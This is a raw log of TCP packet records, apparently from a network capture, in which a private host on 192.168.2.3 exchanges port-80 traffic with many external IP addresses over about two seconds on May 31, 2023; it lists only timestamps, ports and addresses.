May 31, 2023 14:50:55.624501944 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.625072956 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.625102043 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.625138044 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.625159979 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.643161058 CEST	80	49968	59.106.19.204	192.168.2.3
May 31, 2023 14:50:55.643373966 CEST	49968	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:55.688702106 CEST	49746	80	192.168.2.3	13.248.169.48
May 31, 2023 14:50:55.689568996 CEST	50030	80	192.168.2.3	13.248.169.48
May 31, 2023 14:50:55.692401886 CEST	49744	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:55.693325996 CEST	50031	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:55.694005013 CEST	49748	80	192.168.2.3	165.227.252.190
May 31, 2023 14:50:55.695317984 CEST	50032	80	192.168.2.3	165.227.252.190
May 31, 2023 14:50:55.708452940 CEST	80	49746	13.248.169.48	192.168.2.3
May 31, 2023 14:50:55.708745956 CEST	80	50030	13.248.169.48	192.168.2.3
May 31, 2023 14:50:55.708895922 CEST	50030	80	192.168.2.3	13.248.169.48
May 31, 2023 14:50:55.709450006 CEST	50030	80	192.168.2.3	13.248.169.48
May 31, 2023 14:50:55.715315104 CEST	80	50026	72.44.93.236	192.168.2.3
May 31, 2023 14:50:55.724975109 CEST	80	49744	77.68.50.105	192.168.2.3
May 31, 2023 14:50:55.725163937 CEST	49744	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:55.725977898 CEST	80	50031	77.68.50.105	192.168.2.3
May 31, 2023 14:50:55.726136923 CEST	50031	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:55.726567030 CEST	50031	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:55.728703976 CEST	80	50030	13.248.169.48	192.168.2.3
May 31, 2023 14:50:55.743319035 CEST	80	50027	3.18.7.81	192.168.2.3
May 31, 2023 14:50:55.743382931 CEST	80	50027	3.18.7.81	192.168.2.3
May 31, 2023 14:50:55.743576050 CEST	50027	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:55.744472980 CEST	50027	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:55.745625019 CEST	80	50019	81.2.194.241	192.168.2.3
May 31, 2023 14:50:55.745757103 CEST	50019	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:55.759243965 CEST	80	50031	77.68.50.105	192.168.2.3
May 31, 2023 14:50:55.759289026 CEST	80	50031	77.68.50.105	192.168.2.3
May 31, 2023 14:50:55.759445906 CEST	50031	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:55.774342060 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.774377108 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.774405956 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.774456978 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.774482012 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.774506092 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.774528980 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.774554014 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.774665117 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.774786949 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.775412083 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.775439024 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.775463104 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.775485992 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.775510073 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.775533915 CEST	80	50026	72.44.93.236	192.168.2.3
May 31, 2023 14:50:55.775533915 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.775574923 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.775654078 CEST	50026	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:55.776345968 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.776367903 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.776403904 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.776439905 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.776475906 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.776818037 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.776839972 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.776875019 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.776892900 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.776894093 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.776918888 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.776933908 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.776943922 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.776954889 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.776976109 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.777848959 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.777868986 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.777896881 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.777915001 CEST	80	50026	72.44.93.236	192.168.2.3
May 31, 2023 14:50:55.777951956 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.777985096 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.778040886 CEST	50026	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:55.790658951 CEST	80	49748	165.227.252.190	192.168.2.3
May 31, 2023 14:50:55.793042898 CEST	80	50032	165.227.252.190	192.168.2.3
May 31, 2023 14:50:55.793150902 CEST	50032	80	192.168.2.3	165.227.252.190
May 31, 2023 14:50:55.820286989 CEST	50032	80	192.168.2.3	165.227.252.190
May 31, 2023 14:50:55.820730925 CEST	50031	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:55.823426008 CEST	80	49970	70.39.251.249	192.168.2.3
May 31, 2023 14:50:55.823576927 CEST	49970	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:55.840141058 CEST	50033	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:55.842703104 CEST	80	50005	135.181.73.98	192.168.2.3
May 31, 2023 14:50:55.842804909 CEST	50005	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:55.854275942 CEST	80	50031	77.68.50.105	192.168.2.3
May 31, 2023 14:50:55.854322910 CEST	80	50031	77.68.50.105	192.168.2.3
May 31, 2023 14:50:55.854459047 CEST	50031	80	192.168.2.3	77.68.50.105
May 31, 2023 14:50:55.863670111 CEST	50034	80	192.168.2.3	103.224.212.221
May 31, 2023 14:50:55.899775982 CEST	80	50027	3.18.7.81	192.168.2.3
May 31, 2023 14:50:55.919050932 CEST	80	50032	165.227.252.190	192.168.2.3
May 31, 2023 14:50:55.919234991 CEST	80	50032	165.227.252.190	192.168.2.3
May 31, 2023 14:50:55.919351101 CEST	50032	80	192.168.2.3	165.227.252.190
May 31, 2023 14:50:55.926800966 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.926839113 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.926857948 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.926887035 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.926912069 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.927128077 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.927174091 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.927175045 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.927206039 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.927216053 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.927248001 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.927457094 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.927491903 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.927515030 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.927517891 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.927541018 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.927556038 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.927565098 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.927591085 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.927618980 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.928436041 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.928474903 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.928504944 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.928529024 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.928528070 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.928548098 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.928580046 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.929193020 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.929229021 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.929250956 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.929254055 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.929277897 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.929279089 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.929297924 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.929305077 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.929318905 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.929342031 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.930159092 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.930196047 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.930219889 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.930227995 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.930246115 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.930250883 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.930269957 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.930270910 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.930290937 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.930320024 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.931307077 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.931339025 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.931369066 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.931377888 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.931394100 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.931404114 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.931418896 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.931437016 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.931468010 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.932112932 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.932148933 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.932171106 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.932173014 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.932195902 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.932198048 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.932218075 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.932219028 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.932240963 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.932261944 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.933094025 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.933131933 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.933155060 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.933178902 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.933188915 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.933202028 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.933233976 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.933269024 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.934040070 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.934082031 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.934107065 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.934120893 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.934132099 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.934149981 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.934155941 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:55.934182882 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.934212923 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:55.988905907 CEST	80	50030	13.248.169.48	192.168.2.3
May 31, 2023 14:50:55.989145041 CEST	50030	80	192.168.2.3	13.248.169.48
May 31, 2023 14:50:55.997363091 CEST	80	50033	3.18.7.81	192.168.2.3
May 31, 2023 14:50:55.997490883 CEST	50033	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:56.030950069 CEST	80	50034	103.224.212.221	192.168.2.3
May 31, 2023 14:50:56.031197071 CEST	50034	80	192.168.2.3	103.224.212.221
May 31, 2023 14:50:56.033143044 CEST	50034	80	192.168.2.3	103.224.212.221
May 31, 2023 14:50:56.073147058 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.073198080 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.073223114 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.073247910 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.073272943 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.073344946 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:56.073384047 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:56.073455095 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.073479891 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.073503971 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:56.073535919 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:56.073775053 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.073797941 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.073823929 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:56.073828936 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.073853016 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.073854923 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:56.073877096 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.073893070 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:56.073914051 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:56.074738026 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.074765921 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.074796915 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.074820995 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:56.074821949 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.074847937 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.074857950 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:56.074887991 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:56.075613976 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.075639963 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.075673103 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.075687885 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:56.075695992 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.075719118 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:56.075721025 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.075748920 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:56.075779915 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:56.076565027 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.076600075 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.076627970 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.076647043 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:56.076651096 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.076668978 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:56.076675892 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.076703072 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:56.076731920 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:56.077559948 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.077595949 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.077619076 CEST	80	50024	104.21.66.46	192.168.2.3
May 31, 2023 14:50:56.077629089 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:56.077670097 CEST	50024	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:56.147603989 CEST	50033	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:56.166030884 CEST	49852	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:56.240958929 CEST	80	50034	103.224.212.221	192.168.2.3
May 31, 2023 14:50:56.256452084 CEST	50035	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:56.257885933 CEST	80	50034	103.224.212.221	192.168.2.3
May 31, 2023 14:50:56.257934093 CEST	80	50034	103.224.212.221	192.168.2.3
May 31, 2023 14:50:56.257972956 CEST	50034	80	192.168.2.3	103.224.212.221
May 31, 2023 14:50:56.258008003 CEST	50034	80	192.168.2.3	103.224.212.221
May 31, 2023 14:50:56.260746956 CEST	50034	80	192.168.2.3	103.224.212.221
May 31, 2023 14:50:56.303399086 CEST	80	50033	3.18.7.81	192.168.2.3
May 31, 2023 14:50:56.303451061 CEST	80	50033	3.18.7.81	192.168.2.3
May 31, 2023 14:50:56.303556919 CEST	50033	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:56.315291882 CEST	80	49852	104.196.26.65	192.168.2.3
May 31, 2023 14:50:56.354656935 CEST	50033	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:56.406181097 CEST	80	50035	104.196.26.65	192.168.2.3
May 31, 2023 14:50:56.406284094 CEST	50035	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:56.428514957 CEST	80	50034	103.224.212.221	192.168.2.3
May 31, 2023 14:50:56.458760023 CEST	50006	80	192.168.2.3	193.166.255.171
May 31, 2023 14:50:56.472243071 CEST	49754	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:56.476753950 CEST	49755	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:56.476980925 CEST	50035	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:56.479541063 CEST	50036	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:56.479829073 CEST	50037	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:56.489979029 CEST	50010	80	192.168.2.3	210.140.73.39
May 31, 2023 14:50:56.497603893 CEST	49749	80	192.168.2.3	188.166.152.188
May 31, 2023 14:50:56.504781008 CEST	80	49754	213.186.33.40	192.168.2.3
May 31, 2023 14:50:56.512084961 CEST	80	50033	3.18.7.81	192.168.2.3
May 31, 2023 14:50:56.512110949 CEST	80	50036	213.186.33.40	192.168.2.3
May 31, 2023 14:50:56.512249947 CEST	50036	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:56.527385950 CEST	50036	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:56.528019905 CEST	50038	80	192.168.2.3	188.166.152.188
May 31, 2023 14:50:56.528640985 CEST	80	49749	188.166.152.188	192.168.2.3
May 31, 2023 14:50:56.546643019 CEST	50039	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:56.560473919 CEST	80	50038	188.166.152.188	192.168.2.3
May 31, 2023 14:50:56.560622931 CEST	50038	80	192.168.2.3	188.166.152.188
May 31, 2023 14:50:56.561423063 CEST	80	50036	213.186.33.40	192.168.2.3
May 31, 2023 14:50:56.561494112 CEST	50036	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:56.562470913 CEST	50038	80	192.168.2.3	188.166.152.188
May 31, 2023 14:50:56.587366104 CEST	49771	80	192.168.2.3	18.66.192.94
May 31, 2023 14:50:56.588159084 CEST	50040	80	192.168.2.3	18.66.192.94
May 31, 2023 14:50:56.591248035 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:56.591998100 CEST	50041	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:56.592447042 CEST	50036	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:56.592900038 CEST	80	50038	188.166.152.188	192.168.2.3
May 31, 2023 14:50:56.593801975 CEST	80	50038	188.166.152.188	192.168.2.3
May 31, 2023 14:50:56.593867064 CEST	50038	80	192.168.2.3	188.166.152.188
May 31, 2023 14:50:56.593995094 CEST	80	49755	96.127.180.42	192.168.2.3
May 31, 2023 14:50:56.597027063 CEST	80	50037	96.127.180.42	192.168.2.3
May 31, 2023 14:50:56.597188950 CEST	50037	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:56.601958036 CEST	80	49771	18.66.192.94	192.168.2.3
May 31, 2023 14:50:56.602026939 CEST	49771	80	192.168.2.3	18.66.192.94
May 31, 2023 14:50:56.602597952 CEST	80	50040	18.66.192.94	192.168.2.3
May 31, 2023 14:50:56.602674961 CEST	50040	80	192.168.2.3	18.66.192.94
May 31, 2023 14:50:56.626454115 CEST	80	50035	104.196.26.65	192.168.2.3
May 31, 2023 14:50:56.626490116 CEST	80	50036	213.186.33.40	192.168.2.3
May 31, 2023 14:50:56.626614094 CEST	50036	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:56.627039909 CEST	80	50035	104.196.26.65	192.168.2.3
May 31, 2023 14:50:56.627120018 CEST	50035	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:56.669074059 CEST	80	49981	62.122.190.121	192.168.2.3
May 31, 2023 14:50:56.669245005 CEST	49981	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:56.689296007 CEST	50037	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:56.689316988 CEST	50040	80	192.168.2.3	18.66.192.94
May 31, 2023 14:50:56.703946114 CEST	80	50040	18.66.192.94	192.168.2.3
May 31, 2023 14:50:56.704085112 CEST	80	50040	18.66.192.94	192.168.2.3
May 31, 2023 14:50:56.704175949 CEST	50040	80	192.168.2.3	18.66.192.94
May 31, 2023 14:50:56.711262941 CEST	80	50039	69.163.218.51	192.168.2.3
May 31, 2023 14:50:56.711393118 CEST	50039	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:56.772874117 CEST	80	49980	66.94.119.160	192.168.2.3
May 31, 2023 14:50:56.772975922 CEST	49980	80	192.168.2.3	66.94.119.160
May 31, 2023 14:50:56.787683964 CEST	80	49750	154.203.14.100	192.168.2.3
May 31, 2023 14:50:56.787756920 CEST	49750	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:56.787867069 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:56.787940979 CEST	50041	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:56.806770086 CEST	80	50037	96.127.180.42	192.168.2.3
May 31, 2023 14:50:56.807270050 CEST	50035	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:56.807560921 CEST	80	50037	96.127.180.42	192.168.2.3
May 31, 2023 14:50:56.807831049 CEST	50037	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:56.809485912 CEST	50039	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:56.810487986 CEST	50041	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:56.844996929 CEST	80	49953	157.112.176.4	192.168.2.3
May 31, 2023 14:50:56.845068932 CEST	49953	80	192.168.2.3	157.112.176.4
May 31, 2023 14:50:56.859035969 CEST	50040	80	192.168.2.3	18.66.192.94
May 31, 2023 14:50:56.873934984 CEST	80	50040	18.66.192.94	192.168.2.3
May 31, 2023 14:50:56.874022007 CEST	50040	80	192.168.2.3	18.66.192.94
May 31, 2023 14:50:56.882755041 CEST	50037	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:56.956952095 CEST	80	50035	104.196.26.65	192.168.2.3
May 31, 2023 14:50:56.957432032 CEST	80	50035	104.196.26.65	192.168.2.3
May 31, 2023 14:50:56.957611084 CEST	50035	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:56.974071980 CEST	80	50039	69.163.218.51	192.168.2.3
May 31, 2023 14:50:56.975028992 CEST	80	50039	69.163.218.51	192.168.2.3
May 31, 2023 14:50:56.975760937 CEST	80	50039	69.163.218.51	192.168.2.3
May 31, 2023 14:50:56.975894928 CEST	50039	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:56.989077091 CEST	80	50030	13.248.169.48	192.168.2.3
May 31, 2023 14:50:56.992316961 CEST	50030	80	192.168.2.3	13.248.169.48
May 31, 2023 14:50:57.001035929 CEST	80	50037	96.127.180.42	192.168.2.3
May 31, 2023 14:50:57.004345894 CEST	50037	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:57.023255110 CEST	80	49987	3.65.101.129	192.168.2.3
May 31, 2023 14:50:57.023395061 CEST	49987	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:57.268320084 CEST	50039	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:57.333862066 CEST	50041	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:57.431915045 CEST	80	49990	122.128.109.107	192.168.2.3
May 31, 2023 14:50:57.432075024 CEST	49990	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:57.432897091 CEST	80	50039	69.163.218.51	192.168.2.3
May 31, 2023 14:50:57.561405897 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.561444044 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.561464071 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.561484098 CEST	80	50041	154.203.14.100	192.168.2.3
May 31, 2023 14:50:57.561522007 CEST	50041	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:57.561585903 CEST	50041	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:57.581094980 CEST	49751	80	192.168.2.3	23.227.38.74
May 31, 2023 14:50:57.598079920 CEST	80	49751	23.227.38.74	192.168.2.3
May 31, 2023 14:50:57.599781990 CEST	49751	80	192.168.2.3	23.227.38.74
May 31, 2023 14:50:57.727673054 CEST	50042	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:57.728836060 CEST	50043	80	192.168.2.3	23.227.38.74
May 31, 2023 14:50:57.745599031 CEST	80	50043	23.227.38.74	192.168.2.3
